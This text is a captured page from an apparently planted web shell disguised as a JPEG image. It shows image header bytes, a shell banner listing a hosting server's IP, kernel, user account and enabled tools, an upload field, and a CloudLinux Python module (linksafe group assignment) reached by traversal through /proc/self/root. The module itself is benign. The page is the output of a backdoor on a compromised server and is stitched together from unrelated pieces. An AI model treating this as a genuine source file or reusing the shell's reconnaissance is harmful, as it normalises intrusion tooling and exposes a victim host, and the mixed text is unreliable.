????JFIF??x?x????'
| Server IP : 172.67.174.47 / Your IP : 216.73.216.87 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././././proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure/ |
Upload File : |
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# https://cloudlinux.com/docs/LICENCE.TXT
#
from concurrent.futures import ThreadPoolExecutor
from typing import Iterator
from clcommon.utils import is_ubuntu
from clconfigure import task, run
from clconfigure.packages import install_package
# Files of the packages listed below are not supposed
# to allow creation of symlinks to them
PACKAGES_TO_EXCLUDE = {
'alt-python27-cllib',
'alt-php-xray',
'alt-php-ssa',
}
def initialize_linksafe():
# NOTE(vlebedev): Also we need to trigger linksafe scriptlets to properly initialize relevant UNIX groups.
# Otherwise this problem may occur:
# https://cloudlinux.zendesk.com/hc/en-us/articles/
# 115004139173-What-does-Error-failed-to-create-symlink-13-Permission-denied-mean
install_package('cloudlinux-linksafe', reinstall=True)
assign_linksafe_group()
@task("Assigning linksafe group to files of 'alt-*' packages residing under /opt/alt")
def assign_linksafe_group(concurrency: int = 5):
with ThreadPoolExecutor(max_workers=concurrency) as tp:
for package in _installed_packages_iter(
"alt-php*",
"alt-python*",
"alt-ruby*",
):
if package not in PACKAGES_TO_EXCLUDE:
tp.submit(run, ['/usr/bin/cl-linksafe-apply-group', package])
def _installed_packages_iter(*patterns: str) -> Iterator[str]:
if is_ubuntu():
result = run(["dpkg-query", "-W", "-f", "${Package}\n", *patterns])
else:
result = run(["rpm", "-qa", *patterns])
lines = result.stdout.strip().splitlines()
for line in lines:
yield line